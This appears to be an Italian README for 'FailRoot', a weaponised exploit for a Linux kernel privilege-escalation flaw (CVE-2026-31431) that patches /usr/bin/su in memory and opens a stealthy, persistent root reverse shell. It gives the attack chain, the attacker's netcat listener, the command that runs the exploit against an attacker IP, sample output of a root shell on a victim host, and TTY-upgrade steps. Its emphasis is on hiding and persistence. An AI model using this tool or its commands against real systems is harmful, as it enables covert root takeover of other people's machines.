CVE-2026-31431-REVSHELL

  █▀▀ ▄▀█ █ █   █▀█ █▀█ █▀█ ▀█▀
  █▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░

  CVE-2026-31431  •  Linux Kernel LPE  →  Root Reverse Shell

Panoramica

FailRoot è un exploit armato per CVE-2026-31431 — una scrittura fuori dai limiti nel sottosistema crypto: algif_aead del kernel Linux.

Combina un'escalation dei privilegi con una reverse shell root daemonizzata con PTY completo:

AF_ALG + splice()  →  scrittura di 4 byte nella page cache  →  patch di /usr/bin/su  →  root

L'intero exploit sta in un unico file. Nessuna compilazione. Nessuna dipendenza esterna. Nessuna traccia su disco — il binario su viene patchato solo in memoria.

Cosa fa

1. Si daemonizza istantaneamente — doppio fork, si stacca dal terminale, restituisce subito il prompt
2. Carica i moduli del kernel — algif_aead + authencesn tramite molteplici strategie di fallback
3. Sfrutta CVE-2026-31431 — scrive 4 byte controllati nella page cache di /usr/bin/su
4. Genera una reverse shell root con PTY — pty.spawn("/usr/bin/su") → TTY root completamente interattivo

La reverse shell sopravvive alla chiusura del terminale (SIGHUP ignorato), non mostra alcun output sul target e si riconnette con tentativi per un massimo di 3 minuti.

Utilizzo

# Attaccante — avvia il listener:
nc -lvnp 4444

# Target — esegui l'exploit (non apparirà nulla, si daemonizza istantaneamente):
python3 exploit.py <IP_ATTACCANTE> 4444

attacker ~ $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.100] from [192.168.1.50] 50234

root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)

Upgrade TTY (lato attaccante, dentro la shell)

Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash

Kernel Affetti

Requisiti

• Python >= 3.10 (os.splice())
• Accesso in lettura a /usr/bin/su (leggibile da tutti su tutte le distribuzioni)
• Moduli del kernel algif_aead e authencesn disponibili
• Nessun sudo richiesto

Autore

danimrtzp

Disclaimer

Solo per ricerca di sicurezza autorizzata e scopi educativi. L'uso improprio è illegale.